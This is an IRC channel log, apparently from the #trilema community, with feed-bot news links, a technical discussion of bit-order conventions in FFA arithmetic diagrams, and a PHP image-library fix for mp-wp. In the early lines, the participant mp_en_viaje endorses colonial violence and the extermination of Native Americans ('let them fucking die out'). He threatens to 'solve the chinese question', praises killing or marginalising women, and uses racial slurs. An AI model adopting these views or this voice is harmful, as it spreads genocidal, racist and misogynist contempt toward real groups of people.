1908966;1555537533;mp_en_viaje;the chinese are leaving money on the table left and right, sometimes by failure to perceive the table, sometimes by failure to understand what money is, etcetera.
1908967;1555537617;mp_en_viaje;if they had any fucking sense they'd be doing pretty much everything at least slightly differently, and a lot of things quite very differently ; but then again the exact same could be said of spanish conquistadors, or medieval crusaders, or british imperial administration, or zee fucking reich.
1908968;1555538586;feedbot;http://qntra.net/2019/04/sea-is-no-escape-thai-navy-pursues-couple-for-constructing-and-settling-offshore-platform/ << Qntra -- Sea Is No Escape: Thai Navy Pursues Couple For Constructing And Settling Offshore Platform
1908969;1555538699;mp_en_viaje;meanwhile in contemporary kitsch, https://orientalismblog.wordpress.com/category/razumov/
1908970;1555539935;asciilifeform;if mp_en_viaje has the spare cycles, asciilifeform is quite curious to learn how exactly the chinese chip folx are 'leaving money on table'
1908971;1555539963;asciilifeform;i.e. why would they want to turn golden toilet into sub-cent margin 'commoditized m3 screw'
1908972;1555540250;asciilifeform;http://btcbase.org/log/2019-04-17#1908968 << recall the [http://btcbase.org/log/2018-04-06#1793722]['sovereign citizen'] idjits ? or e.g. the earlier 'sealand' d00d . the diff b/w the penniless and the rich idjits is that the latter build larger physical monuments to their hallucinations, is all
1908973;1555540250;a111;Logged on 2019-04-17 22:03 feedbot: http://qntra.net/2019/04/sea-is-no-escape-thai-navy-pursues-couple-for-constructing-and-settling-offshore-platform/ << Qntra -- Sea Is No Escape: Thai Navy Pursues Couple For Constructing And Settling Offshore Platform
1908974;1555540250;a111;Logged on 2018-04-06 20:59 asciilifeform: iirc mircea_popescu had a piece about how troobelievers in 'rule of law' will set themselves up into ridiculously doomed situations, where they fixate on some technicality, like changing their names to punctuation marks or somesuch, that Will Surely Crash The System
1908975;1555540281;asciilifeform;but in both cases similar, 'i'ma find this technicality in the Official Rulz that will Surely Work' etc
1908976;1555540609;asciilifeform;and in the case of the 'offshore' people, with [http://btcbase.org/log/2019-03-28#1905557][added cockroaches]
1908977;1555540609;a111;Logged on 2019-03-28 16:19 asciilifeform: historically, by sharp stick. at least in the case of what's ordinarily called lottery. cuz winning dun banish from the head the cockroaches that made'em play to begin with
1908978;1555540828;asciilifeform;i suppose could even argue that the chinese chip folx suffer from a variant of this -- they drank enuff usg.coolaid to begin to think that they, too, could 'make money from intellectualproperty(tm) just like miami'
1908979;1555540925;asciilifeform;rather than http://btcbase.org/log/2015-03-06#1044115 / http://btcbase.org/log/2018-04-06#1793725
1908980;1555540925;a111;Logged on 2015-03-06 03:29 mircea_popescu: if you are one of the people buying belgian rubber concessions on the stock exchanges, you make money. if you're in africa, you make quick with the hands and feet.
1908981;1555540925;a111;Logged on 2018-04-06 21:00 mircea_popescu: this is akin to the notion that redskins would have used treaties to opress white settlers. bitch, really ?
1908982;1555541116;asciilifeform;i suspect that proprietor of 'gowin' et al is not thinking 'how do i vanquish the reich' but instead 'how do i chisel enuff revenue away from xilinx to build palace in miami for my 4 sons'. and i betcha already built.
1908983;1555541138;asciilifeform;in asia they have blind 'cult of wealth', in the straight '10c cheaper litre of petrol' sense.
1908984;1555541264;asciilifeform;iirc mircea_popescu had a piece re how 'the people w/out balls, they do not want Anything to Happen; they want to hum along.' that's china in 1 sentence.
1908985;1555541438;asciilifeform;modern-day ru, with putin's 'we will have government without ideology'(tm)(r) is in practice very similar animal.
1908986;1555541574;*;asciilifeform brb,meat
1908987;1555543960;*;BingoBoingo watching Peruana break down a chicken with ceramic knife (a tool she is very aware does not serve for prying)
1908988;1555548130;feedbot;http://qntra.net/2019/04/europe-today-brexit-party-moving-to-win-uk-election-for-eu-parliament-notre-dame-apparently-to-remain-ruins/ << Qntra -- Europe Today: "Brexit Party" Moving To Win UK Election For EU Parliament, Notre Dame Apparently To Remain Ruins
1908989;1555560263;mp_en_viaje;asciilifeform, as stated, question is unanswerable. the best i can do for you towards fixing it is working by simile. consider the case of british or french in zululand : had they opted to re-implement troglodyte matriarchy "with some fixes", the result would have been present day ourdemocracy three centuries prior.
1908990;1555560272;mp_en_viaje;they opted instead to entirely ignore "the established institutions
1908991;1555560290;mp_en_viaje;of the fucktarded morons "who lawfully and since forever laid claim to the earh"
1908992;1555560334;mp_en_viaje;rather than "continue zulu forms under british flag", they introduced torens title and the land register, and steel hulled shipping, and dutch notions of trade and german legal notions and so forth.
1908993;1555560415;mp_en_viaje;yes, all the might and glory of the very best fruits this earth ever produced eventually regressed to the filth of cunthood. once you stop killing women such that most are either dead before menopause or else lived their entire life marginalized, and instead start asking them to run things, from the local hotel to the local police station or dog pound, you get what you necessarily get.
1908994;1555560523;mp_en_viaje;but ~before~ you get that, and until you start getting that, you instead enjoy colonialism, aka justice (in the [http://trilema.com/2013/the-sops-or-what-might-you-expect-from-government-clerks/#selection-73.0-73.123][only proper sense]), aka http://btcbase.org/log/2019-04-17#1908880
1908995;1555560523;a111;Logged on 2019-04-17 21:02 asciilifeform salivates at the thought of seeing e.g. budapest, but presently having to save up 'vacation' juice for BingoBoingostan expeditions, rotting in bed with flu, etc
1908996;1555560559;mp_en_viaje;so proceeding by similarity : the chinese ~could have~ done what we do, except decades earlier, and as a result ~truly~ confiscated intellectual activity from pantsuit morons.
1908997;1555560605;mp_en_viaje;instead, they opted to waste all that time and all those resources, on the dubious task of obtaining the moron's "blessing" through some piddly-ass "continuity" understood as "let's just do the same old stupid with serials filed off, who can tell ?"
1908998;1555560686;mp_en_viaje;there's two kids in the "prodigal son" fable. one's the moron that stays home, and aspires for his dad to give him the blessing of dadhood, and of manhood, and everything else, through fucking laying of the hands. that's the fucktard's idea, that he'll stay home with dad and pray that the substance of dad be bestowed upon him through fucking vegetative process. like a woman's exactly!
1908999;1555560700;mp_en_viaje;there's only one fat calf, and this stupid cunt DOES NOT GET IT.
1909000;1555560733;mp_en_viaje;the chinese stayed home. bad call.
1909001;1555560753;mp_en_viaje;the people who stay home are the people who never discover the fucking pinoy sailed all the way to discovering zanzibar.
1909002;1555561285;mp_en_viaje;the other half of http://btcbase.org/log/2017-06-12#1669201 to http://btcbase.org/log/2019-03-07#1900871 is that the pantsuit are vehehehery impressed, and as flattered as could be, by their observation that the chinese very much want their approval, and to not "rock the boat", and other such inept notions that ensure china ~never mattered historically, in spite of [http://btcbase.org/log/2014-12-11#950673][milennia] of cvasi-organised life. yet, cvas
1909003;1555561285;a111;Logged on 2017-06-12 17:32 mircea_popescu: no wonder pantsuit party has no substantial disagreement with china becoming dominating power. they watch that inept chinese writing method and get wet.
1909004;1555561285;a111;Logged on 2019-03-07 22:33 mircea_popescu: this is the truth pantsuit vehehehery carefully tiptoes around every time they're "discussing" usg's foreign policy outlay : usg is a chinese vassal, it has to ask for permission.
1909005;1555561285;a111;Logged on 2014-12-11 03:19 mircea_popescu: consider that china had helicopter designs cca 500ad, it had known of gunpowder for 3k years by the time we finally heard of it and they were writing alchemy treatises before homer was even walking the earth.
1909006;1555561285;mp_en_viaje;i.
1909007;1555561504;asciilifeform;mp_en_viaje: at this pt i'm not even convinced that there ~is~, or could be, a 'chinese strategy', or 'they want..' -- these folx have not developed a with-what to want , whole edifice reduces to individual party-appointed directors' desire for miami
1909008;1555561536;mp_en_viaje;http://btcbase.org/log/2019-04-17#1908971 << because you get somthing for this. "why would white man wish to turn subsitence farming into mass market ???" "because this way, the only red skins left are in erotica, drawn by white hands."
1909009;1555561536;a111;Logged on 2019-04-17 22:26 asciilifeform: i.e. why would they want to turn golden toilet into sub-cent margin 'commoditized m3 screw'
1909010;1555561556;mp_en_viaje;white man did this, shot all the fucking bison. they did.
1909011;1555561559;mp_en_viaje;why did they do it ?
1909012;1555561563;mp_en_viaje;"to solve the indian question".
1909013;1555561576;mp_en_viaje;this is how you solve the fucking moron question, all the time : turn the stuff of its very life into m3 screw.
1909014;1555561595;mp_en_viaje;chinese could've solved the white question, AND SHOULD HAVE.
1909015;1555561605;mp_en_viaje;in any case ima fucking solve the chinese question as soon as i get my hands on them.
1909016;1555561708;mp_en_viaje;http://btcbase.org/log/2019-04-17#1908978 << quite. who the fuck wants to compete with the redskins AS A REDSKIN. let them fucking die out, jesus.
1909017;1555561708;a111;Logged on 2019-04-17 22:40 asciilifeform: i suppose could even argue that the chinese chip folx suffer from a variant of this -- they drank enuff usg.coolaid to begin to think that they, too, could 'make money from intellectualproperty(tm) just like miami'
1909018;1555561909;mp_en_viaje;"oh but mp, that [http://trilema.com/2018/le-salaire-de-lidiotie/#selection-165.0-169.733][wouldn't be fair]!!!". quite. who the fuck ever played fair and wasn't a complete and utter moron ? women play fair, and women only. but they're biologically constrained to this, they ony do it because they're trying to get pregnant. i'm not trying to get pregnant.
1909019;1555562272;mp_en_viaje;http://btcbase.org/log/2019-04-17#1908982 << im sure it is, and im sure the 4 "sons" who happen to be daughters in alt-daughter bodies married 4 other women, either natural or artificial, and are sitting there spawning for an activity.
1909020;1555562272;a111;Logged on 2019-04-17 22:45 asciilifeform: i suspect that proprietor of 'gowin' et al is not thinking 'how do i vanquish the reich' but instead 'how do i chisel enuff revenue away from xilinx to build palace in miami for my 4 sons'. and i betcha already built.
1909021;1555562293;mp_en_viaje;because what the fuck were they gonna do, romulus & remus all over the sabine lands ? nigga puhleaze, you can lose an eye doing that.
1909022;1555562581;mp_en_viaje;anyway, the sluts are up (how the fuck can they be up at 6 am after being marched all over town yest is anyone's guess, but facts be facts) so ima take them for a nude hotel photoshoot. bbl.
1909023;1555569324;diana_coman;http://btcbase.org/log/2019-04-17#1908845 -> mostly in the posts/explanations; hence my "I do not use " - as I go through it, I keep to "most junior on the right" to avoid tripping over, that's all.
1909024;1555569324;a111;Logged on 2019-04-17 20:28 asciilifeform: diana_coman: i'm still stumped re where it was that i had 'most junior bits on the left' tho
1909025;1555596312;asciilifeform;diana_coman: aaa you were speaking of the diagrams in 10, 12, 14 . yes they're 'mirrored'.
1909026;1555596381;asciilifeform;diana_coman: possibly asciilifeform is odd in this respect, but can rotate things around axis of symmetry w/out really thinking about it, possibly this leads to the sort of thing that irritated diana_coman
1909027;1555596473;asciilifeform;drew the e.g. ch10 'electrical' illustrations 'in reverse' w/out even noticing ( and apparently diana_coman is 1st to notice )
1909028;1555596538;asciilifeform;it is entirely possible tho , to grasp the material w/out them ( diana_coman apparently did -- or used a mirror ? i do not know )
1909029;1555596879;asciilifeform;http://btcbase.org/log/2019-04-18#1909021 << afaik cockroaches have not yet invented romulusing. yet there they are, happily living errywhere incl. chernobyl zone.
1909030;1555596879;a111;Logged on 2019-04-18 04:38 mp_en_viaje: because what the fuck were they gonna do, romulus & remus all over the sabine lands ? nigga puhleaze, you can lose an eye doing that.
1909031;1555597019;asciilifeform;diana_coman: what didja use to make the flow graph in http://ossasepia.com/2019/04/17/reading-notes-on-ffa-ch1-ch4/ ?
1909032;1555597325;diana_coman;asciilifeform: Dia; if you want them, I can upload the .dia files too
1909033;1555597344;diana_coman;come to think of it, they might be useful if anyone wants to tinker them to clearer format or anything; brb
1909034;1555597996;diana_coman;asciilifeform: updated with the .dia files http://ossasepia.com/2019/04/17/reading-notes-on-ffa-ch1-ch4/#selection-209.1-225.1
1909035;1555599023;diana_coman;re flipping them in one's head: I'm sure it comes with practice but I'm not yet there; and yes, it's more of my shortcoming that I keep tripping on this but atm this is how it is; generally speaking I don't think the ideal is to think in terms of role rather than (any) direction but there are the (historical as you noted) left/right shift/rotate which inevitably still bring direction in for me.
1909036;1555599089;diana_coman;I meant: I think the ideal is role rather than direction; sigh.
1909037;1555599108;*;diana_coman goes back to eulorism for now.
1909038;1555600905;asciilifeform;funnily enuff, i looked through my paper notes and found that often enuff i draw registers in both directions, depending on what was convenient to fit other things on the pg.
1909039;1555600954;asciilifeform;( but at the same time 'shl' and 'shr' in same only ever refer to their conventional meaning, n*=2 and n/=2 respectively )
1909040;1555601058;asciilifeform;the historical meaning ( and iirc diana_coman pointed this out in the piece ) is simply from how european writes a number, left to right, e.g. 10, bin 1010 >> 1 is 101 (5) , the motion being to the right
1909041;1555601061;BingoBoingo;In local "Florida Man" (Except in Rio Negro because the local Florida is boring) https://www.elobservador.com.uy/nota/el-ladron-de-la-mascara-de-hulk-que-tiene-en-vilo-a-young-201941718159
1909042;1555603190;asciilifeform;!Q later tell phf plox to snarf http://btcbase.org/log/2019-04-17#1908836 , ty
1909043;1555603190;a111;Logged on 2019-04-17 19:55 diana_coman: asciilifeform: my sigs for ch9-ch11 are at http://ossasepia.com/reference-code-shelf/#selection-693.0-755.49
1909044;1555603190;lobbesbot;asciilifeform: The operation succeeded.
1909045;1555606385;trinque;http://trilema.com/2019/antiqua-sanctorum-patrum-or-the-lordship-list-sixth-year/ << I have updated deedbot's rolls to reflect. Congrats to bvt and Mocky !
1909046;1555608675;bvt;thank you, this is a great honor to me
1909047;1555621677;mod6;http://btcbase.org/log/2019-04-17#1908842 << Thank you!  Yeah, caught a glimpse of this, very nice graphs indeed, diana_coman.
1909048;1555621677;a111;Logged on 2019-04-17 20:20 asciilifeform: mod6 ^ + other ffa-eating folx, i suspect will find diana_coman's piece quite handy
1909049;1555621754;asciilifeform;mod6: outta curiosity, didja have same headache as diana_coman , with the left-right diagrams ?
1909050;1555621801;asciilifeform;( so far no one else mentioned it in the log, but i have nfi whether because wasn't headache-inducing, or no one read far enuff in other than diana_coman )
1909051;1555621922;asciilifeform;i'ma add this to the http://btcbase.org/log/2019-04-12#1908374 file, btw : if there existed actual programmatic diagram tool, who wants mirrored could simply push button an' flip. ( as it is, thing is 100% laboriously -- as in months of fiddling -- hand-drawn )
1909052;1555621922;a111;Logged on 2019-04-12 19:57 asciilifeform: 'you thought you could put little arrows from one place to another in'em without hand-diddling coordinates for each one ?'
1909053;1555622003;mod6;Seems ok to me on my horiz display, and seems to also be ok on vert on a mobile browser
1909054;1555622008;asciilifeform;nono
1909055;1555622020;asciilifeform;i'm talking about the http://btcbase.org/log/2019-04-18#1909025 item
1909056;1555622020;a111;Logged on 2019-04-18 14:05 asciilifeform: diana_coman: aaa you were speaking of the diagrams in 10, 12, 14 . yes they're 'mirrored'.
1909057;1555622034;mod6;oh! /me looks
1909058;1555622069;asciilifeform;mod6: e.g. http://www.loper-os.org/?p=2238#selection-451.5-622.0
1909059;1555622256;mod6;Thanks, so yeah, her post is in my queue to read.  But I have seen the above diagram before ^, and it looked "ok" to me, but I haven't read that far ahead yet.
1909060;1555622303;mod6;I'll be sure to point out anything in chapters that makes me feel like I'm doing disproportionate mental-gymnastics for sure.
1909061;1555622384;mod6;You want me to screen shot it so you can see what I'm seeing?
1909062;1555622405;asciilifeform;no reason to, it oughta look same on errybody's display, that wasn't the q
1909063;1555622441;mod6;lol, sorry, I was just trying to update quick and go. lemme dig into what you're really asking me here.
1909064;1555622458;asciilifeform;no hurry mod6 , it'll make sense once you eat diana_coman's piece
1909065;1555622514;mod6;Ah, ok then cool.  I'll report back once I read it. cheers!
1909066;1555623967;mod6;alright, I've read the article, so I see what you're referring to now.
1909067;1555624042;mod6;And before I comment a whole bunch further, her notes make me rethink what I had thought I had known about.  So I'll try to grab some time soon and load these things back into my head.
1909068;1555624921;mod6;Ok, so maybe you can help me out here.  I always looked at an FZ as an array of Words, or a Stack if one prefers to look at it this way.  Where, if I'm going to make an FZ number '4', it would be set in the array like (i'll use 4 bits per word to save space):
1909069;1555624966;mod6;[0100] [0000] [0000] [0000] [0000] [0000] [0000] [0000]
1909070;1555625010;mod6;where '0100' is in the 0-ith array position, or if one were to look at it this way, the bottom of the stack, or the left.
1909071;1555625197;mod6;So if what I had previously believed above is true, and it would seem to considering my understanding of FZ_Add for instance, then "most junior bits on the left" makes sense to me, but "FZ_Get_Head" seems perhaps a bit confusing.  Although, when I typically "getHead()" or "getTail()" I expect to get the 0-ith index, or the nth, respectively.
1909072;1555625256;mod6;So, I guess I thought I had all of it making sense in my mind.  But tell me if I'm wrong!  Then I'll have to re-read that first chapter again with my misunderstandings corrected.
1909073;1555625560;asciilifeform;mod6: ideally array syntax would allow the array range to be declared subtype   Word_Count is Indices range Indices'Last .. 1; , and for the '1' to be 'first' pos. then would be consistent with the trad shl/shr 'geometry'.
1909074;1555625569;asciilifeform;but neither ada nor anyffin else, does this.
1909075;1555625619;asciilifeform;( as it is , [http://www.loper-os.org/pub/ffa/hypertext/ch18/fz_type__ads.htm#28_9][it looks like this] )
1909076;1555625660;asciilifeform;i gotta admit tho, that the 'oh noez, array isn't drawn with the junior bits at the right' thing never bothered me.
1909077;1555625716;mod6;I try to keep it in my mind that this is an ~array~ of words.  And in my head, arrays grow left to right.  Or bottom up.
1909078;1555625732;feedbot;http://qntra.net/2019/04/committed-to-form-tripoli-issues-arrest-warrant-for-apparent-de-facto-sovereign-haftar/ << Qntra -- Committed To Form: Tripoli Issues Arrest Warrant For Apparent De Facto Sovereign Haftar
1909079;1555625745;asciilifeform;mod6: the 'left' and 'right' in array are imaginary.
1909080;1555625758;asciilifeform;there is not a physical left or right that actually corresponds to it.
1909081;1555625793;asciilifeform;often enuff the bits are stored interleaved via some satanic scheme, and aint even contiguous on a single die or ram stick etc
1909082;1555625851;asciilifeform;the q, if there even is a q, is re what convention of order to write array range in. ada forces the low-to-high left-to-right.
1909083;1555625884;asciilifeform;which is opposite of how one usually writes bit positions, and annoys some folx ( e.g. diana_coman )
1909084;1555625911;mod6;I totally see her point.
1909085;1555625937;mod6;Because normally, that same number, on paper, would be: 00000000000000000000000000000100
1909086;1555625955;mod6;(little endian style)
1909087;1555625991;asciilifeform;actually 'endianism' dun belong in the discussion at all, and it is serious mistake to include it -- it refers to how ~bytes~ are positioned in byte-addressable machines
1909088;1555625998;asciilifeform;has 0 effect on where 'bit 0' is
1909089;1555626021;asciilifeform;bit 0 is the 'ones' bit , on errything built from 1958 or so to present day
1909090;1555626143;asciilifeform;i'll add, however, that ffa does not use byte-addressing or bit-addressing, if you were to build a machine where either is in whatever direction, and write a (standard-compliant) ada for it, ffa will work same way.
1909091;1555626156;asciilifeform;cuz it doesn't use 'gimme n-th bit' instruction, nor 'gimme n-th byte', anywhere.
1909092;1555626177;mod6;Well, fwiw, I'm trying to not load in any Cisms or other pantsuit liquidshit into my understanding of FFA.  So when reading it, I'm trying to approach it somewhat like a babe.  And I thought that I had it at least, mentally fitting in my head the way it is today.
1909093;1555626198;mod6;However, if it changes, I'll just re-arrange it in my mind.
1909094;1555626211;asciilifeform;mod6: 'x and 1' gives you the 1s bit, dun matter what yer iron is made of
1909095;1555626213;asciilifeform;thinkaboutit
1909096;1555626274;asciilifeform;to sum up the thread, asciilifeform's 'official' position is that this entire subj is exactly naggum's 'tooth licking' -- it is problem only if someone fixates on thinking of it as problem.
1909097;1555626329;asciilifeform;there's no 'endianism' in the proggy, there is not a possibility that tape written on 1 box is interpreted differently on another, by design. this is the beginning and end imho of correct approach to the q.
1909098;1555626371;asciilifeform;folx who dun like that ada asks you to write arrays low ... high , can make own lang and write arithmetron for selves in it, it is not a priority for asciilifeform and i dun see an argument for making it one.
1909099;1555626444;asciilifeform;( i'll add : imho, an 'ffa graduate' oughta be able to write own correct arithmetron in his asm of choice, in coupla weeks , if feels like it. )
1909100;1555626559;asciilifeform;folx who do not like that the e.g. ch10 electrical diagram goes left-right , can a) draw own b) look strictly at the algebra , as asciilifeform did when wrote it to begin with , i do not have a year to spend on redrawing'em mirrored.
1909101;1555626586;asciilifeform;this is really about all i have to say on the subj.
1909102;1555627126;asciilifeform;possibly there's a deeper 'meta' point in this thread, i.e. that the final stage of fitting a mechanism in-head, is when you rewrite it with own hands, in the notation of ~your~ choice, so that the orig author's arbitrary conventions (and it is impossible to write anyffin nontrivial w/out ~some~ personal convention) dun rub the skin off yer feet.
1909103;1555627201;asciilifeform;( recall, is why e.g. mod6 wrote ~own~ vtron )
1909104;1555627466;*;asciilifeform bbl:tea
1909105;1555629522;Mocky;!!up kanzure
1909106;1555629523;deedbot;kanzure voiced for 30 minutes.
1909107;1555629528;Mocky;!!down kanzure
1909108;1555629536;Mocky;trinque: thx
1909109;1555629545;Mocky;bbl
1909110;1555631473;BingoBoingo;Congrats on the lordings bvt and Mocky
1909111;1555642484;Mocky;thanks BingoBoingo
1909112;1555657034;diana_coman;asciilifeform: there was nowhere not even for 1 sec any idea of "oh noez, redo drawings", just in case it's not clear; the start is still the algebra anyway and that's the correct way of thinking about it to my mind, not any convention left or right (and in this sense, if anything, I'd rather change the shift_left/shift_right for all their being ancient and all that).
1909113;1555657076;diana_coman;but exactly because they force in there "direction" when that is inconsequential
1909114;1555657226;diana_coman;fwiw I start with the algebra and only then, if I need to, I will refer to - better yet, make my own - diagrams; in this case my note was simply a reminder "diagrams there do not match internals + shift_left/right convention here so do own/flip/ignore"
1909115;1555684314;asciilifeform;diana_coman: fair'nuff
1909116;1555684387;asciilifeform;fwiw i suspect that not only the diagrams, but the text, is optional : it aint a very complicated proggy, and patient reader could in principle grasp it w/out a cribsheet
1909117;1555685932;asciilifeform;will add, that readers are encouraged to write an' post own proofs, as e.g. spyked did.
1909118;1555688857;diana_coman;asciilifeform: the text helps esp. in conveying your intention/focus as it were; it's true that one could understand FFA just with the code but that doesn't mean that the posts don't help.
1909119;1555688924;*;diana_coman tends to write pen on paper when figuring things out which is a pain re publishing afterwards
1909120;1555689464;feedbot;http://qntra.net/2019/04/mba-grad-takes-revenge-on-alma-maters-computers-with-usb-device/ << Qntra -- MBA Grad Takes Revenge On Alma Mater's Computers With USB Device
1909121;1555690140;asciilifeform;diana_coman: right. ( and in the peh-related later ch.s, the text is actually the 'official' spec , and not the proggy )
1909122;1555690152;asciilifeform;diana_coman: i also on paper.
1909123;1555690578;*;asciilifeform believer in 'proggy may not be the spec' dictum. in the arithmetic chs, however, there is no spec beyond e.g. 'multiply these two numbers in constant spacetime', which has simple unambiguous meaning.
1909124;1555705302;BingoBoingo;Found in the wild: Other gringo's calendar https://mydayinuy.com/wp-content/uploads/2019/04/UY-closed-1.gif
1909125;1555705742;BingoBoingo;Fellow produced an interesting archaeological example of what happens to passive heathens then the Woes hit their altcoins https://mydayinuy.com/2019/02/20/20244/
1909126;1555758571;mp_en_viaje;http://btcbase.org/log/2019-04-18#1909045 << cool deal
1909127;1555758571;a111;Logged on 2019-04-18 16:53 trinque: http://trilema.com/2019/antiqua-sanctorum-patrum-or-the-lordship-list-sixth-year/ << I have updated deedbot's rolls to reflect. Congrats to bvt and Mocky !
1909128;1555758822;mp_en_viaje;notably enough, there's precisely three generations notwithstanding the six editions : 3668576, 3733059 and 3764595.
1909129;1555760061;mp_en_viaje;http://btcbase.org/log/2019-04-18#1909099 << this is actually the important side-effect of correctly made exemplars -- that they're exemplary. "if you're familiar with the exemplar, neither will you be surprised in a new land  by something that oughta be there but you didn't think of it, nor by something that oughtn't be there and you thought it oughta."
1909130;1555760061;a111;Logged on 2019-04-18 22:27 asciilifeform: ( i'll add : imho, an 'ffa graduate' oughta be able to write own correct arithmetron in his asm of choice, in coupla weeks , if feels like it. )
1909131;1555760218;mp_en_viaje;in other news, the qntra shit's been pretty lulzy. srsly, my used condoms issued an "arrest warrant" ? awww!
1909132;1555761535;*;mp_en_viaje likes how diana_coman 
1909133;1555761541;mp_en_viaje;'s blog behaves to zoom.
1909134;1555761557;mp_en_viaje;i think i might have to have trilema fixed, not nearly as good.
1909135;1555762255;*;mp_en_viaje re-read ye olde http://ossasepia.com/2017/12/21/eucrypt-correcting-mpi-implementation/ ; pretty lulzy still.
1909136;1555788314;BingoBoingo;<mp_en_viaje> in other news, the qntra shit's been pretty lulzy. srsly, my used condoms issued an "arrest warrant" ? awww! << tyvm
1909137;1555790231;billymg;http://btcbase.org/log/2019-03-31#1906362 http://btcbase.org/log/2019-03-31#1906383 << for anyone waiting in suspense, i was able to confirm that this was _not_ a regression from the patch removing tinymce
1909138;1555790231;a111;Logged on 2019-03-31 19:26 mircea_popescu: billymg, : "Size Thumbnail Medium Large Full size (560 × 420)" only permits me the 560x420 upload. ideally should have also a thumbnail or two, you know ? sometimes that works better. i suspect this comes from settings
1909139;1555790231;a111;Logged on 2019-03-31 19:37 billymg: this _may_ be a result of the patch, in which case a regression. will dig in
1909140;1555790298;billymg;i tracked it down to my server's version of php not being built with the gd library for image processing, so when an image was uploaded it wasn't able to produce the alternate sizes, and so the options to select those sizes were disabled
1909141;1555790321;billymg;my local install of php had gd support and so it worked there
1909142;1555790380;billymg;anyway, i updated php on my server to include gd and it indeed works fine. so for now the latest patch for mp-wp is the one i personally recommend/support
1909143;1555796524;BingoBoingo;Not making Qntra today is Erlang's Joe Armstrong dying.
1909144;1555845608;mp_en_viaje;http://btcbase.org/log/2019-04-20#1909142 << what specific versions are involved ?
1909145;1555845608;a111;Logged on 2019-04-20 19:59 billymg: anyway, i updated php on my server to include gd and it indeed works fine. so for now the latest patch for mp-wp is the one i personally recommend/support
1909146;1555845674;mp_en_viaje;i mean, functionality in question exists on trilema server since 2008 as such.
1909147;1555845683;mp_en_viaje;did they regress meanwhile or what happened ?
1909148;1555847777;billymg;mp_en_viaje: 5.6.36 on my local and 5.6.38 on the server. but it wasn't because of the php version, it had to do with the "gd" library being included or not. i.e. when i emerged php on the server gd wasn't in the use flags, so it wasn't included
1909149;1555847788;mp_en_viaje;a a a
1909150;1555847792;mp_en_viaje;yeah that makes more sense.
1909151;1555847803;mp_en_viaje;i suppose gd should go on the requirements list.
1909152;1555848001;billymg;yep yep, esthlos' guide explicitly mentions including mysql, apache2 in the use flags for php (my post mentioned neither as it somewhat relied on esthlos' as the base)
1909153;1555848020;billymg;been meaning to make some tweaks to my mp-wp guide and will include that update
1909154;1555848058;mp_en_viaje;aha.
1909155;1555848093;*;mp_en_viaje is working on a mega travel article, in other news.
1909156;1555848290;billymg;i need a vacation too, but next up for me is escape from ny, which i'm perhaps looking forward to even more
1909157;1555848522;billymg;so, relatedly, may be mia for a few weeks coming up before logging back on from trinque/ben_vulpes country
1909158;1555848643;mp_en_viaje;new york's such a sad story
1909159;1555848654;mp_en_viaje;it was great, perhaps the greates tcity in the world, at some point.
1909160;1555848702;mp_en_viaje;it's been going to shit ever since. definitely ever since the 70s, which is as far as my directly-mediated experience reaches ; but i suspect downward movement started much earlier. with lincoln's victory against america, perhaps.
1909161;1555848877;billymg;it was already full disneyified when i arrived circa 2010, but my eyes weren't yet open and i still saw it as this infinite place compressed into a few hundred square miles
1909162;1555848883;billymg;fully*
1909163;1555848955;billymg;it was only after bitcoin that it started feeling more like a prison with decent room service than anything else
1909164;1555849001;*;billymg wishes he could've been around for the ny mp_en_viaje speaks of
1909165;1555849071;mp_en_viaje;the problem with the room service is that it's only decent if you never had anything else ; much like prison food. and pretty expensive at that.
1909166;1555849083;billymg;true
1909167;1555849126;mp_en_viaje;pre-giuliani ny was almost still passible ; though the people who still recalled the borscth belt as personal experience likely wouldn;t have agreed
1909168;1555849635;billymg;i came originally from small town usa, so ny was my first city experience
1909169;1555849673;mp_en_viaje;myeah. in this sense, experience is the enemy of contentment.
1909170;1555849840;billymg;as in, having experienced city, however consumerized, difficult to be content in "small tonw
1909171;1555849844;billymg;town"
1909172;1555849940;billymg;sorry, meant that as a question before fingers slipped on the keys
1909173;1555850206;mp_en_viaje;as in, country bumpkin will be impressed by akron. the mechanism of the impressing's not akron, but bumpkin ; even though self-loving like all derps, the bumpkin assigns it to akron.
1909174;1555850292;mp_en_viaje;then if he goes on to pittsburg, becomes less impressed by akron, and then on to new york and even less impressed by either p or a ; and then on to whatever, europe, where they have sane heating and sane window systems and no town in the us can ever satisfy again, becasuse why would these morons use wrong windows omfg wtf is wrong with people. and so on and so following.
1909175;1555850328;mp_en_viaje;i don't know that every single window you've yet interacted with is only fit for burning, because how would you. yet it's true.
1909176;1555850408;mp_en_viaje;you don't know* i mean.
1909177;1555850435;billymg;ah
1909178;1555850474;mp_en_viaje;the more you see, the more you like, the more you like, the less likely it becomes it can all be piled in the same place. thus experience is the enemy of contentment.\
1909179;1555850590;mp_en_viaje;tokyo has 5 star hotels without bathtubs. boston has 5 star hotels without bidets. dubai managed to have both at some point. and so on.
1909180;1555850693;feedbot;http://trilema.com/2019/the-egeszsegfejlesztesi-pont/ << Trilema -- The Eges...tesi pont
1909181;1555850701;mp_en_viaje;keks
1909182;1555850785;billymg;but does one, at the point of experiencing most of what the world has to offer in terms of material comforts, eventually lump all of these together and separate them from.. i want to say, "true comforts"?
1909183;1555850846;billymg;as in, the more you experience without achieving contentment the more you realize contentment won't come from those things/experiences
1909184;1555850895;mp_en_viaje;contentment won't come at all.
1909185;1555851083;billymg;nice photos, the bagel with the smoked salmon one is making me hungry
1909186;1555851121;mp_en_viaje;they were pretty darned good.
1909187;1555851651;*;mp_en_viaje shall bbl.
1909188;1555877520;feedbot;http://blog.mod6.net/2019/04/building-musltronic-gnat-part-1/ << mod6's Blog -- Building Musltronic GNAT: Part 1
1909189;1555879986;asciilifeform;http://trilema.com/2019/the-egeszsegfejlesztesi-pont/#selection-113.185-113.231 << lol he did bring the merc ?!
1909190;1555880009;asciilifeform;( per http://btcbase.org/log/2019-04-08#1907393 )
1909191;1555880009;a111;Logged on 2019-04-08 10:01 diana_coman: I wanted to ask whether Bartholomew went back to its roots!!
1909192;1555880161;feedbot;http://qntra.net/2019/04/mexican-troops-draw-weapons-make-us-soldiers-their-bitch-on-us-side-of-rio-grande/ << Qntra -- Mexican Troops Draw Weapons, Make US Soldiers Their Bitch On US Side Of Rio Grande
1909193;1555880212;BingoBoingo;^ In US relevance today
1909194;1555881254;BingoBoingo;Meanwhile in local public health subministers: https://www.elobservador.com.uy/nota/subsecretario-del-msp-cree-que-habria-que-discutir-legalizar-la-cocaina--2019419164056
